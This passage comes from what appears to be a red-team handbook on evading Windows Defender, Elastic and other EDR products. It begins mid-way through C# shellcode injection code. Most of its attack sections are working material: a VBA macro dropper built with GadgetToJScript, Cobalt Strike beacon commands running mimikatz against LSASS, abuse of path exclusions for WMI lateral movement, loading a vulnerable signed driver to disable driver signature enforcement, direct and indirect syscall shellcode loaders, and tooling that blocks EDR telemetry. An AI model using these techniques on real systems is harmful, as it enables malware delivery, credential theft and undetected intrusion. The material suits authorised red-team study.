                CreationFlags.CREATE_NO_WINDOW | CreationFlags.CREATE_SUSPENDED,
                IntPtr.Zero,
                @"C:\Program Files (x86)\Microsoft\Edge\Application",
                ref startup,
                out var processInfo);
            var baseAddress = VirtualAllocEx(
                processInfo.hProcess,
                IntPtr.Zero,
                (uint)shellcode.Length,
                VirtualAllocationType.MEM_COMMIT | VirtualAllocationType.MEM_RESERVE,
                PageProtectionFlags.PAGE_READWRITE);
            success = WriteProcessMemory(
                processInfo.hProcess,
                baseAddress,
                shellcode,
                (uint)shellcode.Length,
                out _);
            success = VirtualProtectEx(
                processInfo.hProcess,
                baseAddress,
                (uint)shellcode.Length,
                PageProtectionFlags.PAGE_EXECUTE_READ,
                out _);
            _ = QueueUserAPC(
                baseAddress,
                processInfo.hThread,
                IntPtr.Zero);
            ResumeThread(processInfo.hThread);
            CloseHandle(processInfo.hThread);
            CloseHandle(processInfo.hProcess);
        }
    }
}

We then build the solution and generate a VBA using GadgetToJsScript.

GadgetToJScript.exe -w vba -b -e hex -o inject -a C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali\GadgetToJScript-master\GadgetToJScript-master\TestAssembly\bin\Release\TestAssembly.dll
[+]: Generating the vba payload
[+]: First stage gadget generation done.
[+]: Loading your .NET assembly:C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali\GadgetToJScript-master\GadgetToJScript-master\TestAssembly\bin\Release\TestAssembly.dll
[+]: Second stage gadget generation done.
[*]: Payload generation completed, check: inject.vba

Copy the content of inject.vba to Word macro and save the file as something.doc.

It will bypass static detection of Windows Defender.

Running the Macro will give us a Beacon running as msedge.exe.

However, if we try running the same payload on a machine with ElasticEDR it will generate an alert.

Process Creation from PSExec & WMI

PSExec will, when creating a process, spawn a service on the target machine which then executes the specified commands or application. While WMI (Windows Management Instrument) uses Win32_Process class to spawn a process on the remote target. It does not need to create a serivce like PSExec. It is there more stealthy compared and harder to detect.

Now lets look at the rule for PSEXECSVC.exe and WmiPrvSE.exe.

Since PSExec is from the Sysinternals suite it is not blocked by this rule. So Cobalt Strikes jump psexec and elevate svc-exe are not blocked.

For WMI if we try to use Cobalt Strike Beacon remote-exec or tools like SharpWMI they will get blocked my this rules since they will go through WmiPrvSE.exe.

Microsoft Defender will block the attempt. In order to bypass this we can look at the GetCommandLineExclusion. We can attempt to execute the SharpWMI from C:\Windows\ccmcache.

execute-assembly /opt/sharpWMI/SharpWMI.exe action=exec computername=ag-WIN11-dev-noelastic command="C:\Windows\System32\cmd.exe /c dir C:\Windows\ccmcache\ & C:\Windows\notepad.exe"

We could also run SharpWMI without the need for fork and run using InlineExecute-Assembly.

inlineExecute-Assembly --dotnetassembly /opt/sharpWMI/SharpWMI.exe --assemblyargs "action=exec computername=ag-WIN11-dev-noelastic command="C:\Windows\System32\cmd.exe /c C:\Windows\ccmcache\cache & C:\Windows\notepad.exe"" --amsi --etw --appdomain

> As of today October 2024 the method mentioned above will be stopped by Defender and Elastic as they released patches.

We can also pass arbitrary commands to beacon payload so it dosent have to be executed from cmd.exe

beacon> cd \\ag-WIN11-dev-noelastic\admin$
beacon> upload /root/smb_x64.exe
beacon> execute-assembly /opt/sharpwmi/SharpWMI.exe action=exec computername=ag-WIN11-dev-noelastic  command="C:\Windows\smb_x64.exe --path C:\Windows\ccmcache\cache"

Going back to Defender and Elastic detecting these techniques,Ibad Altaf wrote a great blog poston how to evade Elastic using fileless lateral movement and other techniques such as changing file extension and path exclusion.

Credential Stealing from LSASS

Local Security Authority Subsystem Service (LSASS) is a Windows Process responsible for enforcing security policies and managing authentication. Some its tasks is to:

  • Verify user logins
  • Handles password changes
  • Generate access tokens to define user permissions

Since LSASS is a very important Windows component, it is heavily monitored.

This rule above monitor lsass.exe and any attempts at extracting credentials from the lsass.

We can ensure that mimikatz runs from one of the excluded path in order not to get caught.

beacon> spawnto x64 C:\Windows\System32\mrt.exe
beacon> mimikatz !sekurlsa::logonpasswords

It is also possible to inject into an existing excluded process.

beacon> ps
3088  644           OfficeClickToRun.exe           x64   0           NT AUTHORITY\SYSTEM
beacon> mimikatz 3088 x64 sekurlsa::logonpasswords

Another tool we could use is nanodump by fortra. To extract the secrets from the dump we could use pypykatz og mimikatz.

Old techniques revisited

At the start of this handbook I talked about r&d in red teaming. Using existing methods for evasion, while applying your own twist to it can go a long way. One great example is this blogpost by Alex Reid - Dumping LSASS Like it's 2019.

Windows Defender Application Control

Windows Defender Application Control (WDAC) is designed to control which application and drivers are allowed to run on the machine. WDAC is much more robust that AppLocker, and is considered by Microsoft an official security boundery. This means that bypassess and vulnerabilities are fixed by Microsoft and the finder gets issued a CVE.

In order to "bypass" WDAC we have to find weaknesses in the deployment of the policy in the organization.

WDAC are defined in an XML file. Microsoft have many default policies. Multiple policies can be merged into one policy and then packaged into a .p7b file format and pushed out via GPO.

Some common rules in WDAC are:

  • Hash - allows binaries to run based on their hash values.
  • FileName - allows binaries to run based on their original filename.
  • FilePath - allows binaries to run from specific file path locations.
  • Publisher - allows binaries to run that are signed by a particular CA.

You can find the location of the policies in SYSVOL share in the Registry.pol file. The .p7b file can then be downloaded to attacker machine for offline view.

If you have access to a machine with WDAC applied, you can download the .p7b file from.

C:\Windows\System32\CodeIntegrity

In order to convert the .p7b file into a human readable file we can use CIPolicyParser.ps1.

PS C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali> Import-Module .\CIPolicyParser.ps1
PS C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali> ConvertTo-CIPolicy -BinaryFilePath .\driversipolicy.p7b -XmlFilePath Policy.xml

    Directory: C:\Users\AlaaG\OneDrive\Diverse\Shared_Kali

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         10/6/2024   8:11 PM         299077 Policy.xml

Disable WDAC policy

Remove App Control for Business policies | Microsoft Learn

You need to be administrator on the machine in order to disable the WDAC policy rule.

From an elevated command window, run the following command. Be sure to replace the text PolicyId GUID with the actual PolicyId of the App Control policy you want to remove:

CiTool.exe -rp "{PolicyId GUID}" -json

You can find the policy that blocked the executable in Event Viwer.

Event Viewer > Applications and Services Logs > Microsoft > Windows > CodeIntegrity > Operational.

Look for Event ID 3077.

LOLBins, Scripts and Libraries

In my previous posts on here I have mentioned several websites that lists different techniques for Living Off The Land. Handbook II – Advanced – BOOK_GHANIM.

Living Off The Land Binaries, or simply LOLBins, are binaries pre-installed executables on the machine that use legitimate commands to perform malicous actions while remaining undetected.

One example is certoc.exe. This binary can be used to load and execute DLLs with the command

certoc.exe -LoadDLL "C:\test\calc.dll"

In regards to WDAC, Microsoft maintains a list of recommended blocklistto combat the use of LOLBins for malicius activities.

Hereyou can find WDAC policies for blocking files from executing. The way to leverage a trusted Windows binary, script or a library is to find one that isnt being blocked by the policy. GitHub - bohops/UltimateWDACBypassList: A centralized resource for previously documented WDAC bypass techniques

Trusted Signers

WDAC supports two types of certificate policies for controlling which application can run.

  • Leaf - Lets you trust specific individual certificate used for signing code.
  • Private Certificate Authority (PCA) - Allows you to trust an entair chain of certificate from a CA.

Find already signed binary.

Get-AuthenticodeSignature -FilePath 'Binary' | fl

Enumerate all the template from a CA and look for code signing templates.

execute-assembly C:\Tools\Certify.exe cas # Enumerate CA within an environment
execute-assembly C:\Tools\Certify.exe find /ca:[ca] # Enumerate information about CA

Signing custom binary using command prompt

Source

Creata req.inf

[NewRequest]
Subject = "[subject]"
KeySpec = 1
KeyLength = 2048
Exportable = TRUE
MachineKeySet = FALSE
SMIME = False
PrivateKeyArchive = FALSE
UserProtected = FALSE
UseExistingKeySet = FALSE
ProviderName = "Microsoft RSA SChannel Cryptographic Provider"
ProviderType = 12
RequestType = PKCS10
KeyUsage = 0xa0
HashAlgorithm = SHA256
[RequestAttributes]
CertificateTemplate=[template]
[EnhancedKeyUsageExtension]
OID=1.3.6.1.5.5.7.3.3

Request certificate

certreq -new -config [ca] req.inf req.csr
certreq -submit -config [ca] req.csr cert.cer
certreq -accept cert.cer

Export to PFX to get certificate ID

certutil -user -store My
certutil -user -exportpfx -privatekey -p [password] My [id] cert.pfx

Sign Binary using SingTool(best run from a Visual Studio Developer prompt)

signtool sign /f cert.pfx /p [password] /fd SHA256 [binary]

Singing - Cobalt Strike workflow

On the attacker machine

keytool -genkey -alias server -keyalg RSA -keysize 2048 -storetype jks -keystore keystore.jks -dname "[subject]"
keytool -certreq -alias server -keystore keystore.jks -file req.csr
cat req.csr

https://[ca]/certsrv/ Request a certificate → advanced certificate request paste CSR into box → Submit > DER encoded → Download certificate chain

Import downloaded certificate chain (.p7b file) into keystore.

keytool -import -trustcacerts -alias server -file [chain].p7b -keystore keystore.jks

Add code-signer block to mallable c2 profile.

code-signer {
	set keystore "keystore.jks";
	set password "[password]";
	set alias "server";
}

Sign the executable file

Protected Process

Protected Process (PP) and Protected Process Light (PPL) are security mechanism in Windows. The purpose of PP and PPL is to provide a layer of security to certain process by restricting access from other processes. Only trusted and authorized processes can interact with protected one. PPL is used to extend its protection provided by PP to more cirtical system and security-related process.

The protection hierarchy is as follows:

  • PP can access PP and PPL if the signer is greater or equal.
  • PPL can access PPL if signer is greater or equal.
  • PPL cannot access PP regardless of signer.

The way PP and PPL restrict access is by limiting which operations other processes can perform on them. For example:

  • Access Restriction - Restrict permissions like PROCESS_VM_READ, PROCESS_VM_WRITE AND PROCESS_CREATE_THREAD.
  • Memory Protection - Prevent other process from reading or modifying protected process memory unless they have the necessary permissions
  • Termination Protection - Only process with same or higher privileges can terminate a protected process. Prevents an attacker from terminating AV process for example.

RastaMouse have created a BOF to enumerate protection level of a process called PPEnum.

Load the .cna in the script manager and run the command ppenum [PID].

3316 is MS Defender

PPL Bypassess

Userland PPL bypasses come and go - They get patched by Microsoft.

A guaranteed way to get around PPL is using a kernel based methods like drivers. Kernel driver offers a more reliable way to bypass PPL. Some projects are  PPLKillermimidrv  or writing a custom driver (Driver development course by RastaMouse).

Microsoft does not consider elevating from local admin to kernel mode a security vulnerability, so these bypassess with kernel methods will not be fixed by Microsoft. However, you cannot load a driver that is not legitimatly signed unless Windows Test Signing is enabled.

To run a driver:

# Create a service
sc create MyDriver type= kernel binPath= C:\Windows\System32\drivers\driver.sys
# Start the service
sc start MyDriver

Bypass Driver Signature Enforcement (DSE)

DSE is a securiy feature that ensures that only drivers that are digitally signed by a trusted authority can be installed and run on the system.

A driver allowes the operating system to communicate with hardware devices such as graphic cards, audio cards, keyboars etc. A driver generally runs with kernel-level privilege and the kernel drivers extension is .sys.

> Warning: Be careful when loading drivers, especially unsigned or vulnerable ones, as they operate in kernel mode and can cause system instability or BSOD. Improper handling or exploitation of drivers can lead to critical system crashes and unexpected behavior. Be VERY careful when doing this in an engagement as you may crash critical systems.

In order to bypass DSE is to load a known vulnerable but signed driver and use that to disable DSE, load your malicous driver, then reenable DSE. LOLDrivers have a large collection of drivers that could be used for this purpose.

Lets take an example using Mimikatz. We want to dump LSASS using mimikatz, but the process is protected by PPL. So we first have to disable DSE to load the unsiged driver mimidrv in order to remove the PPL protection from the LSASS process. After disabling DSE, we load mimidrv.sys, re-enable DSE to minimize detection and remove the protection from LSASS and dump it.

So the steps are as follows:

  • Find a vulnerable legitimately signed driver from LOLDrivers. Upload it to target upload C:\maldriver\gdrv.sys.
  • Create a service beacon> run sc create gdrv type= kernel binPath= C:\Windows\System32\drivers\gdrv.sys and start the servivce beacon> run start gdrv.
  • Once loaded, this driver can be exploited to disable DSE. To interact with it, we need to call IOCTL (Input Output Control) that it exposes to userland.
  • With DSE disabled we can now load our malicous driver. (Example mimidrv.sys).
  • Enable DSE again to avoid detection.

The API to communicate with the driver is DeviceIOControl. To disable DSE we would modify dwIoControlCode to send a IOCTL for disabling DSE.

DeviceIoControl(
    HANDLE hDevice,            // Handle to the device (from CreateFile)
    DWORD dwIoControlCode,      // IOCTL code to specify the operation
    LPVOID lpInBuffer,          // Pointer to the input buffer (data to send to the driver)
    DWORD nInBufferSize,        // Size of the input buffer (in bytes)
    LPVOID lpOutBuffer,         // Pointer to the output buffer (data to receive from the driver)
    DWORD nOutBufferSize,       // Size of the output buffer (in bytes)
    LPDWORD lpBytesReturned,    // Number of bytes returned by the driver
    LPOVERLAPPED lpOverlapped   // Pointer to an OVERLAPPED structure (optional, used for asynchronous operations)
);

CobaltWhispers by NVISOsecurityis an aggressor script that utilizes a collection of Beacon Object Files for Cobalt Strike to perform process injection, persistence and more, leveraging direct syscalls to bypass EDR/AV.

They also have a BOF for disabling DSE which we would look at.

EDR Evasion

EDR Telemetry Project - Windows

An EDR will primarily:

  • Collect event data from managed endpoints.
  • Analyse the data to identify known threat patterns.
  • Where applicable, automatically respond to threats (such as blocking/containing) and raise alerts.
  • Aid manual investigations by providing forensic and analysis capabilities.

An XDR ( Extended Detection and Response) on the other hand will integrate and correlate data from multiple sources, such as endpoints, networks, servers, email and cloud.

Below taken from Maldev academy module 82

Bypassing EDRs can be difficult to pull off at first and requires a group of methods and techniques instead of relying on a single approach. The reason multiple methods are required is that EDRs use more than one technique to monitor the process. For example, unhooking doesn't block ETWs events but will solve the userland hooking problem. Sometimes multiple implementations will be required to solve the same problem (this will be demonstrated in the NTDLL unhooking modules).

It is important to bear in mind that some EDR bypass techniques allow the loader to evade detection but not the C&C payload in use. This can be the case due to several reasons:

  • The C&C network anomalies are well-known and signatured by the EDR.
  • The loader uses direct/indirect syscalls and successfully evaded detection, but the C&C payload doesn't and still uses hooked functions.
  • The C&C payload executed a noisy command, either intentionally or unintentionally. Such commands will catch the attention of an EDR, and thus your implementation will be detected (e.g. spawn cmd.exe and execute the whoami command).
  • The C&C uses recognizable named IPCs handles or open specific ones (recall that IPCs are Pipes - Events - Metaphors - Semaphores). For example, executing the "load powershell" command using Meterpreter results in the following.

Detecting Hooks

In order to detect if an API is hooked, we can look at the first 4 bytes of the API instruction. These bytes are 0x4c, 0x8b, 0xd1, 0xb8 which corresponds to the instruction: mov r10, rcx; mov eax 26h. If we dont find these bytes, this might indicate that the API is hooked.

To simulate an EDR we can use a tool injdrv which is a Windows Driver that will inject a DLL into a user-mode process using APC.

First we need to enable test signing. This allows us to install and run unsigned drivers.

bcdedit -set testsigning on

Then launch injdrv.

.\injldr.exe -i

When the driver is loaded, it'll register two callbacks:

Matt Hand, who wrote the book 'Evading EDR', wrote a tool in C# called HookDetector which inspect the first 4 bytes of the API instructions. It hey dont match mov r10, rcx; mov eax 26h then the program concludes that the API have been hooked. I'll expand on this later.

This can be used with execute-assembly in CS. execute-assembly C:\Users\LocalUser\HookDetector\bin\Release\HookDetector.exe

D/invoke Manual Mapping

Manual mapping is a technique for loading a DLL into a process and resolving the location of all its exports wihtout using Windows loader (LoadLibrary).

It allows us to load a copy of ntdll.dll from disk into a new region of memory and executing the API from there. This is done without stomping over the copy of ntdll.dll thats already been loaded. This method of loading would not trigger PsSetLoadImageNotifyRoutine.

In order to use the code below we have to import these DLL's from https://github.com/rasta-mouse/DInvoke?tab=readme-ov-file :

Goto Project > Add Reference > Browse to add the reference.

Since the github repo is updated we have to add one change to the code.

Remember to compile this in x64 not Any cpu as you would get AccessViolationException error.

> This code demonstrates a manual mapping technique for invoking an unhooked API function within ntdll.dll, specifically NtOpenProcess, which opens a handle to another process. The program first identifies its own process ID and then locates a running instance of notepad. If a notepad instance is found, it maps a clean version of ntdll.dll from disk into memory to avoid any hooks placed by security software on the system-loaded version. Once mapped, the program retrieves the address of NtOpenProcess from the mapped ntdll.dll and prepares the necessary parameters, including a CLIENT_ID structure pointing to the target process ID of notepad. It then invokes NtOpenProcess using the mapped DLL's function pointer, bypassing any hooks on the system’s in-memory ntdll.dll. Finally, it prints the status and handle obtained from the call before unloading the mapped ntdll.dll from memory. This approach helps evade security detections by calling an unaltered API from an unmapped copy of ntdll.dll.

using System;
using System.Diagnostics;
using System.Linq;
using System.Runtime.InteropServices;
using Data = DInvoke.Data;
using DInvoke.ManualMap;
using DInvoke.DynamicInvoke;
namespace ManualMapper
{
    internal class Program
    {
        [StructLayout(LayoutKind.Sequential)]
        struct CLIENT_ID
        {
            public IntPtr UniqueProcess;
            public IntPtr UniqueThread;
        }
        [UnmanagedFunctionPointer(CallingConvention.StdCall)]
        delegate uint NtOpenProcess(
            ref IntPtr ProcessHandle,
            uint AccessMask,
            ref Data.Native.OBJECT_ATTRIBUTES ObjectAttributes,
            ref CLIENT_ID ClientId);
        static void Main(string[] args)
        {
            // print our own pid
            var self = Process.GetCurrentProcess();
            Console.WriteLine("This PID: {0}", self.Id);
            // find an instance of notepad
            var notepad = Process.GetProcessesByName("notepad").FirstOrDefault();
            if (notepad is null)
            {
                Console.WriteLine("No notepad process found");
                return;
            }
            // print target pid
            Console.WriteLine("Target PID: {0}", notepad.Id);
            // map ntdll
            var map = Map.MapModuleToMemory("C:\\Windows\\System32\\ntdll.dll");
            Console.WriteLine("NTDLL mapped to 0x{0:X}", map.ModuleBase.ToInt64());
            // prepare paramters
            var oa = new Data.Native.OBJECT_ATTRIBUTES();
            var target = new CLIENT_ID
            {
                UniqueProcess = (IntPtr)notepad.Id
            };
            object[] parameters =
            {
                IntPtr.Zero, (uint)0x1F0FFF, oa, target
            };
            // call NtOpenProcess from it
             var status = (Data.Native.NTSTATUS)Generic.CallMappedDLLModuleExport (
                map.PEINFO,
                map.ModuleBase,
                "NtOpenProcess",
                typeof(NtOpenProcess),
                parameters,
                false);
            Console.WriteLine("Status: {0}", status);
            Console.WriteLine("hProcess: 0x{0:X}", ((IntPtr)parameters[0]).ToInt64());
            Map.FreeModule(map);
        }
    }
}

Syscalls (System calls)

Direct Syscalls: A journey from high to low - RedOps - English

A system call is a technical instruction in the Windows operating system that allows a temporary transition from user mode to kernel mode. This is necessary, for example, when a user-mode application such as Notepad wants to save a document.

x86 CPUs have four privileges. Windows only supports ring 0 and ring 3 - known as "user mode" (Referred to as "Userland") and "kernel mode".

The Win32 APIs (such as kernel32.dll and user32.dll) are designed to be the first port of call for developers.  These APIs will then call lower-level APIs such as ntdll.dll. 

A native API call might look like this  UserApp.exe -> kernel32.dll -> ntdll.dll -> ntoskrnl.exe.

Every syscall have a unique number, called System Service Number (SSN). This can vary across different editions and Windows versions.

Resources such as j00ru's System Call Table have each SSN documented. There is a new technique "sorting by system call address" popularized by @modexpblog

The important instructions, which we mentioned earlier is.

mov r10, rcx        ; Copy the value from rcx into r10
mov eax, 26h         ; Set eax to 0x26. On Windows 10, the SSN for NtOpenProcess is 0x0026.
syscall             ; Trigger the system call, switching to kernel mode to execute mmap
ret                 ; Return from the function, popping the return address from the stack

The instructions are part of a sequence that is preparing for and executing a syscall.

Here I have opened notepad.exe and attached notepad.exe in WinDbg.

^ Extract the memory address of NtAllocateVirtualMemory and then resolve the memory address.

Direct vs Indirect Syscalls

Direct Syscalls

Source2 - Direct Syscalls: A journey from high to low - RedOps - English

A direct syscall skips the usual user-space libraries (ntdll.dll, kernel32.dll) and makes the call directly to the kernel (typically via ntoskrnl.exe in Windows). We mentioned this example earlier, UserApp.exe -> kernel32.dll -> ntdll.dll -> ntoskrnl.exe. A direct syscall instead is UserApp.exe - > ntoskrnl.exe.

This is a technique that allows an attacker (red team) to execute malicious code, such as shell code, in the context of APIs on Windows in such a way that the system call is not obtained via ntdll.dll. Instead, the system call or system call stub is implemented in the malware itself, e.g. in the .text region in the form of assembly instructions. Hence the name direct system calls.

The downside to this syscall implementation is that AV vendors started to flag on part of the syscall stub itself because a user application would not normally execute a syscall instruction.

Here is an example of a direct syscall.

https://redops.at/assets/images/blog/direct_syscall_principle.png

In order to create a direct syscall dropper without access the ntdll.dll we have to implement the functions of the native APIs and the associated syscalls directly in the code of the low level dropper. The required code is implemented in the .text region of the low level dropper.

I will follow the example from Direct Syscalls: A journey from high to low - RedOps - English to make the dropper.

To generate the required code for the direct syscall I will use a tool called SysWhisperes2. This tool can automatically generate the required code.

  • syscallsstubs.std.x64.asm
  • syscalls.h
  • syscalls.c 
python3 syswhispers.py -h
                  .                         ,--.
,-. . . ,-. . , , |-. o ,-. ,-. ,-. ,-. ,-.    /
`-. | | `-. |/|/  | | | `-. | | |-' |   `-. ,-'
`-' `-| `-' ' '   ' ' ' `-' |-' `-' '   `-' `---
     /|                     |  @Jackson_T
    `-'                     '  @modexpblog, 2021
SysWhispers2: Why call the kernel when you can whisper?
usage: syswhispers.py [-h] [-p PRESET] [-f FUNCTIONS] -o OUT_FILE [-a ARCH] [-l ASM_LANG] [--function-prefix FUNCTION_PREFIX]
options:
  -h, --help            show this help message and exit
  -p PRESET, --preset PRESET
                        Preset ("all", "common")
  -f FUNCTIONS, --functions FUNCTIONS
                        Comma-separated functions
  -o OUT_FILE, --out-file OUT_FILE
                        Output basename (w/o extension)
  -a ARCH, --arch ARCH  CPU architecture ("all", "x86", "x64")
  -l ASM_LANG, --asm-lang ASM_LANG
                        Assembler output format ("all", "masm", "nasm", "gas", "inlinegas")
  --function-prefix FUNCTION_PREFIX
                        Function prefix

To generate the necessary code we can run the command below.

python3 syswhispers.py -f NtAllocateVirtualMemory,NtWriteVirtualMemory,NtCreateThreadEx,NtWaitForSingleObject,NtClose -a x64 -l masm --out-file syscalls

In the command above we specify the exact native API's required to make our dropper. Move the generated files to your Visual Studio Project.

The syscalls.h file can then be added to the VS project as a header, the syscallsstubs.std.x64.asm (for x64) file as a resource and the syscalls.c file as a source. To use the assembly code from the .asm file in VS, the Microsoft Macro Assembler (.masm) option must be enabled in Build Dependencies/Build Customisations. See the SysWhispers2 documentation for more details.

Below is the code used.

#include
#include
#include "syscalls.h"
int main() {
    // msfvenom -p windows/x64/exec cmd="calc.exe" -f c
    unsigned char code[] = "\xa6\x12\xd9...";

    LPVOID allocation_start;
    SIZE_T allocation_size = sizeof(code);
    HANDLE hThread;
    NTSTATUS status;
    allocation_start = nullptr;

    // Allocate Virtual Memory
    NtAllocateVirtualMemory(GetCurrentProcess(), &allocation_start, 0, (PULONG64)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

    // Copy shellcode into allocated memory
    NtWriteVirtualMemory(GetCurrentProcess(), allocation_start, code, sizeof(code), 0);

    // Execute shellcode in memory
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL);

    // Wait for the end of the thread and close the handle
    NtWaitForSingleObject(hThread, FALSE, NULL);
    NtClose(hThread);
    return 0;
}

The function pointers to the native APIs are in the header file syscalls.h. The code required for the functions and system calls is in the file syscallsstubs.std.x64.asm.

We can use dumpbin using Visual Studio Developer prompt to see which API is imported from kernel32.dll into the IAT. As you can see no Windows API are being improted from kernel32.dll.

Indirect Syscalls

https://redops.at/en/blog/direct-syscalls-vs-indirect-syscalls Syscalls - SysWhispers Indirect Syscalls - HellsHall GitHub - klezVirus/SysWhispers3: SysWhispers on Steroids - AV/EDR evasion via direct system calls.

As we remember from earlier, Direct Syscalls involves invoking system calls directly from an application code, bypassing ntdll.dll all togehter. This can evade user-mode hooks, a technique used by EDRs to intercept and modify the behaviour of functions within user-mode application to monitor execution, but may leave traces behind that can be detected by security tools. This is because the system call originates from a user-mode application directly.

Indirect Syscalls on the other hand redirects the system call to execute withing ntdll.dll. This is done by dynamically locating the address of the syscall instruction within ntdll.dll and jumping to it after setting up the necessary registers. This makes it appear like the syscall is originating from ntdll.dll, which align with the normal application behaviour.

So this means that the execution of the syscall takes place within the memory of the ntdll.dll and is therefor legitimate to the EDR.

https://redops.at/assets/images/blog/indirect_syscalls_principle_2023-05-24-115519_fkdn.png

@VirtualAllocEx have made a Indirect Syscall POC here.

#include
#include
#include "syscalls.h"
// Declare global variables to hold syscall numbers and syscall instruction addresses
DWORD wNtAllocateVirtualMemory;
UINT_PTR sysAddrNtAllocateVirtualMemory;
DWORD wNtWriteVirtualMemory;
UINT_PTR sysAddrNtWriteVirtualMemory;
DWORD wNtCreateThreadEx;
UINT_PTR sysAddrNtCreateThreadEx;
DWORD wNtWaitForSingleObject;
UINT_PTR sysAddrNtWaitForSingleObject;

int main() {
    PVOID allocBuffer = NULL;  // Declare a pointer to the buffer to be allocated
    SIZE_T buffSize = 0x1000;  // Declare the size of the buffer (4096 bytes)
    // Get a handle to the ntdll.dll library
    HANDLE hNtdll = GetModuleHandleA("ntdll.dll");
    // Declare and initialize a pointer to the NtAllocateVirtualMemory function and get the address of the NtAllocateVirtualMemory function in the ntdll.dll module
    UINT_PTR pNtAllocateVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtAllocateVirtualMemory");
    // Read the syscall number from the NtAllocateVirtualMemory function in ntdll.dll
    // This is typically located at the 4th byte of the function
    wNtAllocateVirtualMemory = ((unsigned char*)(pNtAllocateVirtualMemory + 4))[0];
    // The syscall stub (actual system call instruction) is some bytes further into the function.
    // In this case, it's assumed to be 0x12 (18 in decimal) bytes from the start of the function.
    // So we add 0x12 to the function's address to get the address of the system call instruction.
    sysAddrNtAllocateVirtualMemory = pNtAllocateVirtualMemory + 0x12;
    UINT_PTR pNtWriteVirtualMemory = (UINT_PTR)GetProcAddress(hNtdll, "NtWriteVirtualMemory");
    wNtWriteVirtualMemory = ((unsigned char*)(pNtWriteVirtualMemory + 4))[0];
    sysAddrNtWriteVirtualMemory = pNtWriteVirtualMemory + 0x12;
    UINT_PTR pNtCreateThreadEx = (UINT_PTR)GetProcAddress(hNtdll, "NtCreateThreadEx");
    wNtCreateThreadEx = ((unsigned char*)(pNtCreateThreadEx + 4))[0];
    sysAddrNtCreateThreadEx = pNtCreateThreadEx + 0x12;
    UINT_PTR pNtWaitForSingleObject = (UINT_PTR)GetProcAddress(hNtdll, "NtWaitForSingleObject");
    wNtWaitForSingleObject = ((unsigned char*)(pNtWaitForSingleObject + 4))[0];
    sysAddrNtWaitForSingleObject = pNtWaitForSingleObject + 0x12;
    // Use the NtAllocateVirtualMemory function to allocate memory for the shellcode
    NtAllocateVirtualMemory((HANDLE)-1, (PVOID*)&allocBuffer, (ULONG_PTR)0, &buffSize, (ULONG)(MEM_COMMIT | MEM_RESERVE), PAGE_EXECUTE_READWRITE);
    // Define the shellcode to be injected
    unsigned char shellcode[] = "\xfc\x48\x83";
    ULONG bytesWritten;
    // Use the NtWriteVirtualMemory function to write the shellcode into the allocated memory
    NtWriteVirtualMemory(GetCurrentProcess(), allocBuffer, shellcode, sizeof(shellcode), &bytesWritten);
    HANDLE hThread;
    // Use the NtCreateThreadEx function to create a new thread that starts executing the shellcode
    NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, GetCurrentProcess(), (LPTHREAD_START_ROUTINE)allocBuffer, NULL, FALSE, 0, 0, 0, NULL);
    // Use the NtWaitForSingleObject function to wait for the new thread to finish executing
    NtWaitForSingleObject(hThread, FALSE, NULL);
}

Below is and example of Indirect Syscall vs Direct Syscall taken from redops.at. See sources.

;Indirect Syscalls
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.
    jmp QWORD PTR [sysAddrNtAllocateVirtualMemory]  ; Jump to the actual syscall.
NtAllocateVirtualMemory ENDP                        ; End of the procedure.
;Direct Syscalls
; Procedure for the NtAllocateVirtualMemory syscall
NtAllocateVirtualMemory PROC
    mov r10, rcx                                    ; Move the contents of rcx to r10. This is necessary because the syscall instruction in 64-bit Windows expects the parameters to be in the r10 and rdx registers.
    mov eax, wNtAllocateVirtualMemory               ; Move the syscall number into the eax register.
    syscall                                         ; Execute syscall.
    ret                                             ; Return from the procedure.
NtAllocateVirtualMemory ENDP                        ; End of the procedure.

You can see that Direct Syscall executes the syscall directly from the application, transition to kernel mode without using ntdll.dll. While Indirect Syscall jumps to the syscall adress within ntdll.dll.

MaldevAcademys have made a project called HellHalls that uses indirect syscall to execute shellcode. Indirect Syscalls - HellsHall. Note that the public version of this lacks many features thats only available to paid users.

Network Traffic

EDRs can log when processes makes network connections, which can help spot anomalous activity such as C2 beaconing. Consider what type of network traffic your host process is making.  An HTTP/S Beacon will make HTTP/S connections, the TCP Beacon TCP connections and the SMB Beacon named pipe connections.

If you are doing an engagement and do an LDAP query from a process who usually dont do LDAP queries, EDRs might flag that as an unusual traffic.

One solution is to use a spawnto that is contextual for that type of traffic.  If available, ServerManager.exe and dsac.exe are good candidates for LDAP, as is gpresult.exe.

beacon> spawnto x64 %windir%\sysnative\gpresult.exe
beacon> execute-assembly C:\Tools\ADSearch\ADSearch\bin\Release\ADSearch.exe --computers

A tool one might consider is - netero1010/EDRSilencer: A tool uses Windows Filtering Platform (WFP) to block Endpoint Detection and Response (EDR) agents from reporting security events to the server. EDRSilencerwhich uses Windows Filtering Platform (WFP) which blocks the outbound traffic of running EDR processes. It's inspired by Nighthawks FireBlock tool which is closed source.

From the MDSec blog:

>

 ..internal tools that takes an alternative approach to neutering the EDR telemetry. FireBlock leverages the Windows Filtering Platform to prevent the EDR processes from egressing, and thus preventing it being able to report any alerts. At this point the operator has the freedom to operate without the concern of being detected.

EDRSilencer uses the API FwpmEngineOpen0and FwpmFilterAdd0. FwpmEngineOpen0 initializes the WFP engine, and FwpmFilterAdd0 is responsible for adding a filter that blocks outbound traffic for certain processes.

// Initialize WFP engine
result = FwpmEngineOpen0(NULL, RPC_C_AUTHN_DEFAULT, NULL, NULL, &hEngine);
//Adding filter
 result = FwpmFilterAdd0(hEngine, &filter, NULL, &filterId);

Image Load Event

An "image load" event occurs when a process loads a DLL into memory. This is very legimate and many applications have many DLL's loaded.

Discord process with DLLs loaded

